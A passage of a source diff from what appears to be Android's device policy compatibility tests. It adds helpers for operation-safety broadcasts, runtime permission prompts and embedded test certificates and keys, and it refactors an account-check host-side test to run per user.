+            if (!ACTION_STATE_CHANGED.equals(action)) {
+                Log.e(TAG, "Invalid action " + action + " on intent " + intent);
+                return;
+            }
+            if (!intent.hasExtra(EXTRA_REASON)) {
+                Log.e(TAG, "No " + EXTRA_REASON + " extra on intent " + intent);
+                return;
+            }
+            if (!intent.hasExtra(EXTRA_IS_SAFE)) {
+                Log.e(TAG, "No " + EXTRA_IS_SAFE + " extra on intent " + intent);
+                return;
+            }
+            OperationSafetyChangedEvent event = new OperationSafetyChangedEvent(
+                    intent.getIntExtra(EXTRA_REASON, 42),
+                    intent.getBooleanExtra(EXTRA_IS_SAFE, false));
+            Log.d(TAG, "Received intent with event " + event + " on user " + context.getUserId());
+            mEvents.offer(event);
+        }
+    };
+
+    private OperationSafetyChangedCallback() {}
+
+    /**
+     * Creates and registers a callback in the given context.
+     */
+    public static OperationSafetyChangedCallback register(Context context) {
+        Log.d(TAG, "Registering " + ACTION_STATE_CHANGED + " on user " + context.getUserId());
+        OperationSafetyChangedCallback callback = new OperationSafetyChangedCallback();
+        TestAppHelper.registerTestCaseReceiver(context, callback.mReceiver,
+                new IntentFilter(ACTION_STATE_CHANGED));
+        return callback;
+    }
+
+    /**
+     * Unregister this callback in the given context.
+     */
+    public void unregister(Context context) {
+        Log.d(TAG, "Unregistering " + mReceiver + " on user " + context.getUserId());
+        TestAppHelper.unregisterTestCaseReceiver(context, mReceiver);
+    }
+
+    /**
+     * Gets the intent for the given event.
+     */
+    public static Intent intentFor(OperationSafetyChangedEvent event) {
+        return new Intent(ACTION_STATE_CHANGED)
+                .putExtra(EXTRA_REASON, event.reason)
+                .putExtra(EXTRA_IS_SAFE, event.isSafe);
+    }
+
+    /**
+     * Gets next event or fail.
+     */
+    public OperationSafetyChangedEvent getNextEvent() {
+        OperationSafetyChangedEvent event = null;
+        try {
+            event = mEvents.poll(TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            String msg = "interrupted waiting for event";
+            Log.e(TAG, msg, e);
+            Thread.currentThread().interrupt();
+            throw new AssertionFailedError(msg);
+        }
+        if (event == null) {
+            String msg = "didn't receive an OperationSafetyChangedEvent in "
+                    + TIMEOUT_MS + "ms on " + this;
+            Log.e(TAG, msg);
+            throw new AssertionFailedError(msg);
+        }
+        return event;
+    }
+
+    @Override
+    public String toString() {
+        return "OperationSafetyChangedCallback[events=" + mEvents + "]";
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/OperationSafetyChangedEvent.java b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/OperationSafetyChangedEvent.java
new file mode 100644
index 0000000..c61e732
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/OperationSafetyChangedEvent.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.devicepolicy;
+
+import android.app.admin.DevicePolicyManager;
+
+//TODO(b/174859111): move to automotive-only section
+/**
+ * Represents an operation safety event received by a
+ * {@link android.app.admin.DeviceAdminReceiver#onOperationSafetyStateChanged(
+ * android.content.Context, int, boolean)}.
+ *
+ * <p>NOTE: doesn't implement {@code Parcelable} because it needs to cross process boundaries on
+ * automotive, which trows a {@code ClassNotFoundException} in the receiving end - it't not worth
+ * to fix that...
+ */
+public final class OperationSafetyChangedEvent {
+
+    public final int reason;
+    public final boolean isSafe;
+
+    public OperationSafetyChangedEvent(int reason, boolean isSafe) {
+        this.reason = reason;
+        this.isSafe = isSafe;
+    }
+
+    @Override
+    public String toString() {
+        return "OperationSafetyChangedEvent["
+            + DevicePolicyManager.operationSafetyReasonToString(reason) + ": "
+            + (isSafe ? "SAFE" : "UNSAFE") + ']';
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionBroadcastReceiver.java b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionBroadcastReceiver.java
new file mode 100644
index 0000000..042ae0c
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionBroadcastReceiver.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.devicepolicy;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.util.Log;
+
+import java.util.concurrent.ArrayBlockingQueue;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class PermissionBroadcastReceiver extends BroadcastReceiver {
+    private static final String TAG = "PermissionBroadcastReceiver";
+
+    private static final String EXTRA_GRANT_STATE
+            = "com.android.cts.permission.extra.GRANT_STATE";
+    private static final int PERMISSION_ERROR = -2;
+
+    private BlockingQueue<Integer> mResultsQueue;
+
+    public PermissionBroadcastReceiver() {
+        mResultsQueue = new ArrayBlockingQueue<>(1);
+    }
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        Integer result = intent.getIntExtra(EXTRA_GRANT_STATE, PERMISSION_ERROR);
+        Log.d(TAG, "Grant state received " + result);
+        assertTrue(mResultsQueue.add(result));
+    }
+
+    public int waitForBroadcast() throws Exception {
+        Integer result = mResultsQueue.poll(30, TimeUnit.SECONDS);
+        mResultsQueue.clear();
+        assertNotNull("Expected broadcast to be received within 30 seconds but did not get it",
+                result);
+        Log.d(TAG, "Grant state retrieved " + result);
+        return result;
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java
new file mode 100644
index 0000000..06ed3ab
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java
@@ -0,0 +1,184 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.devicepolicy;
+
+import static android.content.pm.PackageManager.PERMISSION_DENIED;
+import static android.content.pm.PackageManager.PERMISSION_GRANTED;
+
+import static junit.framework.Assert.assertTrue;
+
+import static org.junit.Assert.assertEquals;
+
+import android.Manifest;
+import android.app.AppOpsManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageInfo;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.BySelector;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.Until;
+import android.util.Log;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import java.util.ArrayList;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+
+public class PermissionUtils {
+    private static final String LOG_TAG = PermissionUtils.class.getName();
+    private static final Set<String> LOCATION_PERMISSIONS = new HashSet<String>();
+
+    static {
+        LOCATION_PERMISSIONS.add(Manifest.permission.ACCESS_FINE_LOCATION);
+        LOCATION_PERMISSIONS.add(Manifest.permission.ACCESS_BACKGROUND_LOCATION);
+        LOCATION_PERMISSIONS.add(Manifest.permission.ACCESS_COARSE_LOCATION);
+    }
+
+    private static final String ACTION_CHECK_HAS_PERMISSION
+            = "com.android.cts.permission.action.CHECK_HAS_PERMISSION";
+    private static final String ACTION_REQUEST_PERMISSION
+            = "com.android.cts.permission.action.REQUEST_PERMISSION";
+    private static final String EXTRA_PERMISSION = "com.android.cts.permission.extra.PERMISSION";
+
+    public static void launchActivityAndCheckPermission(PermissionBroadcastReceiver receiver,
+            String permission, int expected, String packageName, String activityName)
+            throws Exception {
+        launchActivityWithAction(permission, ACTION_CHECK_HAS_PERMISSION,
+                packageName, activityName);
+        assertEquals(expected, receiver.waitForBroadcast());
+    }
+
+    public static void launchActivityAndRequestPermission(PermissionBroadcastReceiver receiver,
+            String permission, int expected, String packageName, String activityName)
+            throws Exception {
+        launchActivityWithAction(permission, ACTION_REQUEST_PERMISSION,
+                packageName, activityName);
+        assertEquals(expected, receiver.waitForBroadcast());
+    }
+
+    public static void launchActivityAndRequestPermission(PermissionBroadcastReceiver
+            receiver, UiDevice device, String permission, int expected,
+            String packageName, String activityName) throws Exception {
+        final List<String> resNames = new ArrayList<>();
+        switch(expected) {
+            case PERMISSION_DENIED:
+                resNames.add("permission_deny_button");
+                break;
+            case PERMISSION_GRANTED:
+                resNames.add("permission_allow_button");
+                // For the location permission, different buttons may be available.
+                if (LOCATION_PERMISSIONS.contains(permission)) {
+                    resNames.add("permission_allow_foreground_only_button");
+                    resNames.add("permission_allow_one_time_button");
+                }
+                break;
+            default:
+                throw new IllegalArgumentException("Invalid expected permission");
+        }
+        launchActivityWithAction(permission, ACTION_REQUEST_PERMISSION,
+                packageName, activityName);
+        pressPermissionPromptButton(device, resNames.toArray(new String[0]));
+        assertEquals(expected, receiver.waitForBroadcast());
+    }
+
+    private static void launchActivityWithAction(String permission, String action,
+            String packageName, String activityName) {
+        Intent launchIntent = new Intent();
+        launchIntent.setComponent(new ComponentName(packageName, activityName));
+        launchIntent.putExtra(EXTRA_PERMISSION, permission);
+        launchIntent.setAction(action);
+        launchIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_MULTIPLE_TASK);
+        getContext().startActivity(launchIntent);
+    }
+
+    public static void checkPermission(String permission, int expected, String packageName) {
+        assertEquals(getContext().getPackageManager()
+                .checkPermission(permission, packageName), expected);
+    }
+
+    /**
+     * Correctly check a runtime permission. This also works for pre-m apps.
+     */
+    public static void checkPermissionAndAppOps(String permission, int expected, String packageName)
+            throws Exception {
+        assertEquals(checkPermissionAndAppOps(permission, packageName), expected);
+    }
+
+    private static int checkPermissionAndAppOps(String permission, String packageName)
+            throws Exception {
+        PackageInfo packageInfo = getContext().getPackageManager().getPackageInfo(packageName, 0);
+        if (getContext().checkPermission(permission, -1, packageInfo.applicationInfo.uid)
+                == PERMISSION_DENIED) {
+            return PERMISSION_DENIED;
+        }
+
+        AppOpsManager appOpsManager = getContext().getSystemService(AppOpsManager.class);
+        if (appOpsManager != null && appOpsManager.noteProxyOpNoThrow(
+                AppOpsManager.permissionToOp(permission), packageName,
+                packageInfo.applicationInfo.uid, null, null)
+                != AppOpsManager.MODE_ALLOWED) {
+            return PERMISSION_DENIED;
+        }
+
+        return PERMISSION_GRANTED;
+    }
+
+    public static Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getContext();
+    }
+
+    private static void pressPermissionPromptButton(UiDevice mDevice, String[] resNames) {
+        if ((resNames == null) || (resNames.length == 0)) {
+            throw new IllegalArgumentException("resNames must not be null or empty");
+        }
+
+        // The dialog was moved from the packageinstaller to the permissioncontroller.
+        // Search in multiple packages so the test is not affixed to a particular package.
+        String[] possiblePackages = new String[]{
+                "com.android.permissioncontroller.permission.ui",
+                "com.android.packageinstaller",
+                "com.android.permissioncontroller"};
+
+        boolean foundButton = false;
+        for (String resName : resNames) {
+            for (String possiblePkg : possiblePackages) {
+                BySelector selector = By
+                        .clazz(android.widget.Button.class.getName())
+                        .res(possiblePkg, resName);
+                mDevice.wait(Until.hasObject(selector), 5000);
+                UiObject2 button = mDevice.findObject(selector);
+                Log.d(LOG_TAG, String.format("Resource %s in Package %s found? %b", resName,
+                        possiblePkg, button != null));
+                if (button != null) {
+                    foundButton = true;
+                    button.click();
+                    break;
+                }
+            }
+            if (foundButton) {
+                break;
+            }
+        }
+
+        assertTrue("Couldn't find any button", foundButton);
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/TestCertificates.java b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/TestCertificates.java
new file mode 100644
index 0000000..bf33268
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/TestCertificates.java
@@ -0,0 +1,135 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.devicepolicy;
+
+import android.util.Base64;
+import android.util.Base64InputStream;
+
+import java.io.ByteArrayInputStream;
+import java.security.KeyFactory;
+import java.security.PrivateKey;
+import java.security.cert.Certificate;
+import java.security.cert.CertificateFactory;
+import java.security.spec.PKCS8EncodedKeySpec;
+
+/**
+ * Certificates and keys plus some related utilities for testing.
+ */
+public class TestCertificates {
+    /*
+     * The CA and keypair below are generated with:
+     *
+     * openssl req -new -x509 -days 3650 -extensions v3_ca -keyout cakey.pem -out cacert.pem
+     * openssl req -newkey rsa:1024 -keyout userkey.pem -nodes -days 3650 -out userkey.req
+     * mkdir -p demoCA/newcerts
+     * touch demoCA/index.txt
+     * echo "01" > demoCA/serial
+     * openssl ca -out usercert.pem -in userkey.req -cert cacert.pem -keyfile cakey.pem -days 3650
+     */
+
+    // Content from cacert.pem
+    public static final String TEST_CA =
+            "-----BEGIN CERTIFICATE-----\n" +
+            "MIIDXTCCAkWgAwIBAgIJAK9Tl/F9V8kSMA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNV\n" +
+            "BAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBX\n" +
+            "aWRnaXRzIFB0eSBMdGQwHhcNMTUwMzA2MTczMjExWhcNMjUwMzAzMTczMjExWjBF\n" +
+            "MQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50\n" +
+            "ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB\n" +
+            "CgKCAQEAvItOutsE75WBTgTyNAHt4JXQ3JoseaGqcC3WQij6vhrleWi5KJ0jh1/M\n" +
+            "Rpry7Fajtwwb4t8VZa0NuM2h2YALv52w1xivql88zce/HU1y7XzbXhxis9o6SCI+\n" +
+            "oVQSbPeXRgBPppFzBEh3ZqYTVhAqw451XhwdA4Aqs3wts7ddjwlUzyMdU44osCUg\n" +
+            "kVg7lfPf9sTm5IoHVcfLSCWH5n6Nr9sH3o2ksyTwxuOAvsN11F/a0mmUoPciYPp+\n" +
+            "q7DzQzdi7akRG601DZ4YVOwo6UITGvDyuAAdxl5isovUXqe6Jmz2/myTSpAKxGFs\n" +
+            "jk9oRoG6WXWB1kni490GIPjJ1OceyQIDAQABo1AwTjAdBgNVHQ4EFgQUH1QIlPKL\n" +
+            "p2OQ/AoLOjKvBW4zK3AwHwYDVR0jBBgwFoAUH1QIlPKLp2OQ/AoLOjKvBW4zK3Aw\n" +
+            "DAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAcMi4voMMJHeQLjtq8Oky\n" +
+            "Azpyk8moDwgCd4llcGj7izOkIIFqq/lyqKdtykVKUWz2bSHO5cLrtaOCiBWVlaCV\n" +
+            "DYAnnVLM8aqaA6hJDIfaGs4zmwz0dY8hVMFCuCBiLWuPfiYtbEmjHGSmpQTG6Qxn\n" +
+            "ZJlaK5CZyt5pgh5EdNdvQmDEbKGmu0wpCq9qjZImwdyAul1t/B0DrsWApZMgZpeI\n" +
+            "d2od0VBrCICB1K4p+C51D93xyQiva7xQcCne+TAnGNy9+gjQ/MyR8MRpwRLv5ikD\n" +
+            "u0anJCN8pXo6IMglfMAsoton1J6o5/ae5uhC6caQU8bNUsCK570gpNfjkzo6rbP0\n" +
+            "wQ==\n" +
+            "-----END CERTIFICATE-----";
+
+    // Content from userkey.pem without the private key header and footer.
+    public static final String TEST_KEY =
+            "MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBALCYprGsTU+5L3KM\n" +
+            "fhkm0gXM2xjGUH+543YLiMPGVr3eVS7biue1/tQlL+fJsw3rqsPKJe71RbVWlpqU\n" +
+            "mhegxG4s3IvGYVB0KZoRIjDKmnnvlx6nngL2ZJ8O27U42pHsw4z4MKlcQlWkjL3T\n" +
+            "9sV6zW2Wzri+f5mvzKjhnArbLktHAgMBAAECgYBlfVVPhtZnmuXJzzQpAEZzTugb\n" +
+            "tN1OimZO0RIocTQoqj4KT+HkiJOLGFQPwbtFpMre+q4SRqNpM/oZnI1yRtKcCmIc\n" +
+            "mZgkwJ2k6pdSxqO0ofxFFTdT9czJ3rCnqBHy1g6BqUQFXT4olcygkxUpKYUwzlz1\n" +
+            "oAl487CoPxyr4sVEAQJBANwiUOHcdGd2RoRILDzw5WOXWBoWPOKzX/K9wt0yL+mO\n" +
+            "wlFNFSymqo9eLheHcEq/VD9qK9rT700dCewJfWj6+bECQQDNXmWNYIxGii5NJilT\n" +
+            "OBOHiMD/F0NE178j+/kmacbhDJwpkbLYXaP8rW4+Iswrm4ORJ59lvjNuXaZ28+sx\n" +
+            "fFp3AkA6Z7Bl/IO135+eATgbgx6ZadIqObQ1wbm3Qbmtzl7/7KyJvZXcnuup1icM\n" +
+            "fxa//jtwB89S4+Ad6ZJ0WaA4dj5BAkEAuG7V9KmIULE388EZy8rIfyepa22Q0/qN\n" +
+            "hdt8XasRGHsio5Jdc0JlSz7ViqflhCQde/aBh/XQaoVgQeO8jKyI8QJBAJHekZDj\n" +
+            "WA0w1RsBVVReN1dVXgjm1CykeAT8Qx8TUmBUfiDX6w6+eGQjKtS7f4KC2IdRTV6+\n" +
+            "bDzDoHBChHNC9ms=\n";
+
+    // Content from usercert.pem without the header and footer.
+    public static final String TEST_CERT =
+            "MIIDEjCCAfqgAwIBAgIBATANBgkqhkiG9w0BAQsFADBFMQswCQYDVQQGEwJBVTET\n" +
+            "MBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50ZXJuZXQgV2lkZ2l0cyBQ\n" +
+            "dHkgTHRkMB4XDTE1MDUwMTE2NTQwNVoXDTI1MDQyODE2NTQwNVowWzELMAkGA1UE\n" +
+            "BhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoMGEludGVybmV0IFdp\n" +
+            "ZGdpdHMgUHR5IEx0ZDEUMBIGA1UEAwwLY2xpZW50IGNlcnQwgZ8wDQYJKoZIhvcN\n" +
+            "AQEBBQADgY0AMIGJAoGBALCYprGsTU+5L3KMfhkm0gXM2xjGUH+543YLiMPGVr3e\n" +
+            "VS7biue1/tQlL+fJsw3rqsPKJe71RbVWlpqUmhegxG4s3IvGYVB0KZoRIjDKmnnv\n" +
+            "lx6nngL2ZJ8O27U42pHsw4z4MKlcQlWkjL3T9sV6zW2Wzri+f5mvzKjhnArbLktH\n" +
+            "AgMBAAGjezB5MAkGA1UdEwQCMAAwLAYJYIZIAYb4QgENBB8WHU9wZW5TU0wgR2Vu\n" +
+            "ZXJhdGVkIENlcnRpZmljYXRlMB0GA1UdDgQWBBQ8GL+jKSarvTn9fVNA2AzjY7qq\n" +
+            "gjAfBgNVHSMEGDAWgBRzBBA5sNWyT/fK8GrhN3tOqO5tgjANBgkqhkiG9w0BAQsF\n" +
+            "AAOCAQEAgwQEd2bktIDZZi/UOwU1jJUgGq7NiuBDPHcqgzjxhGFLQ8SQAAP3v3PR\n" +
+            "mLzcfxsxnzGynqN5iHQT4rYXxxaqrp1iIdj9xl9Wl5FxjZgXITxhlRscOd/UOBvG\n" +
+            "oMrazVczjjdoRIFFnjtU3Jf0Mich68HD1Z0S3o7X6sDYh6FTVR5KbLcxbk6RcoG4\n" +
+            "VCI5boR5LUXgb5Ed5UxczxvN12S71fyxHYVpuuI0z0HTIbAxKeRw43I6HWOmR1/0\n" +
+            "G6byGCNL/1Fz7Y+264fGqABSNTKdZwIU2K4ANEH7F+9scnhoO6OBp+gjBe5O+7jb\n" +
+            "wZmUCAoTka4hmoaOCj7cqt/IkmxozQ==\n";
+
+    public static final String TEST_CA_SUBJECT = "o=internet widgits pty ltd,st=some-state,c=au";
+
+    public static PrivateKey rsaKeyFromString(String key) throws Exception {
+        final PKCS8EncodedKeySpec keySpec = new PKCS8EncodedKeySpec(
+                Base64.decode(key, Base64.DEFAULT));
+        return KeyFactory.getInstance("RSA").generatePrivate(keySpec);
+    }
+
+    public static PrivateKey getTestKey() throws Exception {
+        return rsaKeyFromString(TEST_KEY);
+    }
+
+    public static Certificate userCertFromString(String cert) throws Exception {
+        return CertificateFactory.getInstance("X.509").generateCertificate(
+                new Base64InputStream(new ByteArrayInputStream(cert.getBytes()), Base64.DEFAULT));
+    }
+
+    public static Certificate getUserCert() throws Exception {
+        return userCertFromString(TEST_CERT);
+    }
+
+    public static Certificate caCertFromString(String cert) throws Exception {
+        final byte[] rawCert = TEST_CA.getBytes();
+        return CertificateFactory.getInstance("X.509")
+                .generateCertificate(new ByteArrayInputStream(rawCert));
+    }
+
+    public static Certificate getCaCert() throws Exception {
+        return caCertFromString(TEST_CA);
+    }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/AccountCheckHostSideTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/AccountCheckHostSideTest.java
index 24502bb..7078bf9 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/AccountCheckHostSideTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/AccountCheckHostSideTest.java
@@ -18,16 +18,23 @@
 
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
 
 import android.platform.test.annotations.LargeTest;
 
 import com.android.tradefed.log.LogUtil.CLog;
 
+import org.junit.Test;
+
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
 
-import org.junit.Test;
-
+/**
+ * Set of tests to test setting DO and PO when there is account on the user.
+ *
+ * <p>For example, setting DO or PO shall fail at DPMS.hasIncompatibleAccountsOrNonAdbNoLock when
+ * there was incompatible account on the user.
+ */
 public class AccountCheckHostSideTest extends BaseDevicePolicyTest {
     private static final String APK_NON_TEST_ONLY = "CtsAccountCheckNonTestOnlyOwnerApp.apk";
     private static final String APK_TEST_ONLY = "CtsAccountCheckTestOnlyOwnerApp.apk";
@@ -48,36 +55,72 @@
     private static final String TEST_CLASS =
             "com.android.cts.devicepolicy.accountcheck.AccountCheckTest";
 
+    private static final String DISALLOW_MODIFY_ACCOUNTS = "no_modify_accounts";
+
+    private boolean mDeviceOwnerCanHaveAccounts;
+    private boolean mProfileOwnerCanHaveAccounts;
+    private int mProfileOwnerUserId;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        mProfileOwnerUserId = mPrimaryUserId;
+        mDeviceOwnerCanHaveAccounts = !isRestrictionSetOnUser(mDeviceOwnerUserId,
+                DISALLOW_MODIFY_ACCOUNTS);
+        // Optimization to avoid running dumpsys again
+        if (mProfileOwnerUserId == mDeviceOwnerUserId) {
+            mProfileOwnerCanHaveAccounts = mDeviceOwnerCanHaveAccounts;
+        } else {
+            mProfileOwnerCanHaveAccounts = !isRestrictionSetOnUser(mProfileOwnerUserId,
+                    DISALLOW_MODIFY_ACCOUNTS);
+        }
+        CLog.d("mDeviceOwnerUserId: " +  mDeviceOwnerUserId
+                + " mDeviceOwnerCanHaveAccounts: " + mDeviceOwnerCanHaveAccounts
+                + " mProfileOwnerUserId: " + mProfileOwnerUserId
+                + " mProfileOwnerCanHaveAccounts: " + mProfileOwnerCanHaveAccounts);
+        assumeTrue("Neither primary user or device owner user is allowed to add accounts",
+                mDeviceOwnerCanHaveAccounts || mProfileOwnerCanHaveAccounts);
+    }
+
     @Override
     public void tearDown() throws Exception {
-        if (mHasFeature) {
-            if (getDevice().getInstalledPackageNames().contains(PACKAGE_AUTH)) {
-                runCleanupTestOnlyOwnerAllowingFailure();
-                runCleanupNonTestOnlyOwnerAllowingFailure();
-
-                // This shouldn't be needed since we're uninstalling the authenticator,
-                // but sometimes the account manager fails to clean up?
-                removeAllAccountsAllowingFailure();
+        if (getDevice().getInstalledPackageNames().contains(PACKAGE_AUTH)) {
+            runCleanupTestOnlyOwnerAllowingFailure(mProfileOwnerUserId);
+            if (mDeviceOwnerUserId != mProfileOwnerUserId) {
+                runCleanupTestOnlyOwnerAllowingFailure(mDeviceOwnerUserId);
             }
+            runCleanupNonTestOnlyOwnerAllowingFailure();
 
-            getDevice().uninstallPackage(PACKAGE_AUTH);
-            getDevice().uninstallPackage(PACKAGE_TEST_ONLY);
-            getDevice().uninstallPackage(PACKAGE_NON_TEST_ONLY);
+            // This shouldn't be needed since we're uninstalling the authenticator,
+            // but sometimes the account manager fails to clean up?
+            removeAllAccountsAllowingFailure();
         }
+
+        getDevice().uninstallPackage(PACKAGE_AUTH);
+        getDevice().uninstallPackage(PACKAGE_TEST_ONLY);
+        getDevice().uninstallPackage(PACKAGE_NON_TEST_ONLY);
+
         super.tearDown();
     }
 
     private void runTest(String method) throws Exception {
-        runDeviceTests(PACKAGE_AUTH, TEST_CLASS, method);
+        runTestAsUser(method, mProfileOwnerUserId);
+        if (mDeviceOwnerCanHaveAccounts && mProfileOwnerUserId != mDeviceOwnerUserId) {
+            runTestAsUser(method, mDeviceOwnerUserId);
+        }
     }
 
-    private void runCleanupTestOnlyOwner() throws Exception {
-        assertTrue(removeAdmin(OWNER_TEST_ONLY, mPrimaryUserId));
+    private void runTestAsUser(String method, int userId) throws Exception {
+        runDeviceTestsAsUser(PACKAGE_AUTH, TEST_CLASS, method, userId);
     }
 
-    private void runCleanupTestOnlyOwnerAllowingFailure() throws Exception {
+    private void runCleanupTestOnlyOwner(int userId) throws Exception {
+        assertTrue(removeAdmin(OWNER_TEST_ONLY, userId));
+    }
+
+    private void runCleanupTestOnlyOwnerAllowingFailure(int userId) throws Exception {
         try {
-            runCleanupTestOnlyOwner();
+            runCleanupTestOnlyOwner(userId);
         } catch (AssertionError ignore) {
         }
     }
@@ -105,35 +148,47 @@
     }
 
     private void assertTestOnlyInstallable() throws Exception {
-        setDeviceOwnerOrFail(OWNER_TEST_ONLY, mPrimaryUserId);
-        runCleanupTestOnlyOwner();
-
-        setProfileOwnerOrFail(OWNER_TEST_ONLY, mPrimaryUserId);
-        runCleanupTestOnlyOwner();
+        if (mDeviceOwnerCanHaveAccounts) {
+            setDeviceOwnerOrFail(OWNER_TEST_ONLY, mDeviceOwnerUserId);
+            runCleanupTestOnlyOwner(mDeviceOwnerUserId);
+        }
+        if (mProfileOwnerCanHaveAccounts) {
+            setProfileOwnerOrFail(OWNER_TEST_ONLY, mProfileOwnerUserId);
+            runCleanupTestOnlyOwner(mProfileOwnerUserId);
+        }
     }
 
     private void assertNonTestOnlyInstallable() throws Exception {
-        setDeviceOwnerOrFail(OWNER_NON_TEST_ONLY, mPrimaryUserId);
-        runCleanupNonTestOnlyOwner();
-
-        setProfileOwnerOrFail(OWNER_NON_TEST_ONLY, mPrimaryUserId);
-        runCleanupNonTestOnlyOwner();
+        if (mDeviceOwnerCanHaveAccounts) {
+            setDeviceOwnerOrFail(OWNER_NON_TEST_ONLY, mDeviceOwnerUserId);
+            runCleanupNonTestOnlyOwner();
+        }
+        if (mProfileOwnerCanHaveAccounts) {
+            setProfileOwnerOrFail(OWNER_NON_TEST_ONLY, mProfileOwnerUserId);
+            runCleanupNonTestOnlyOwner();
+        }
     }
 
     private void assertTestOnlyNotInstallable() throws Exception {
-        setDeviceOwnerExpectingFailure(OWNER_TEST_ONLY, mPrimaryUserId);
-        runCleanupTestOnlyOwnerAllowingFailure();
-
-        setProfileOwnerExpectingFailure(OWNER_TEST_ONLY, mPrimaryUserId);
-        runCleanupTestOnlyOwnerAllowingFailure();
+        if (mDeviceOwnerCanHaveAccounts) {
+            setDeviceOwnerExpectingFailure(OWNER_TEST_ONLY, mDeviceOwnerUserId);
+            runCleanupTestOnlyOwnerAllowingFailure(mDeviceOwnerUserId);
+        }
+        if (mProfileOwnerCanHaveAccounts) {
+            setProfileOwnerExpectingFailure(OWNER_TEST_ONLY, mProfileOwnerUserId);
+            runCleanupTestOnlyOwnerAllowingFailure(mProfileOwnerUserId);
+        }
     }
 
     private void assertNonTestOnlyNotInstallable() throws Exception {
